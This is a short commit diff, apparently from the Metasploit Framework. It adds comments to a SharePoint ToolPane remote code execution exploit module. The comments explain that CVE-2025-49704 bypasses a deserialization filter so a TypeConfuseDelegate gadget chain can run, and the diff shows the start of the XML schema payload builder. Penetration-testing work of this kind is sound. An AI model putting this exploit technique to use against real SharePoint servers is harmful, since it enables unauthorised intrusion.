add some comments to clarify what CVE-2025-49704 is

Author: sfewer-r7

modules/exploits/windows/http/sharepoint_toolpane_rce.rb

@@ -166,6 +166,9 @@ def self.generate(nested_gadget_b64)
       name_b = Rex::Text.rand_text_alpha_lower(8..16)
       name_c = Rex::Text.rand_text_alpha_lower(8..16)
 
+      # The msdata:DataType attribute below is CVE-2025-49704, and allows bypassing a filter list so we can instantiate
+      # LosFormatter and ObjectDataProvider in the diffgr:diffgram XML document below, allowing us to kcik off a second
+      # stage deserialization gadget (which will be a TypeConfuseDelegate + LosFormatter gadget chain).
       schema = <<~EOF
         <xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="#{name_a}">
           <xs:element name="#{name_a}" msdata:IsDataSet="true" msdata:UseCurrentLocale="true">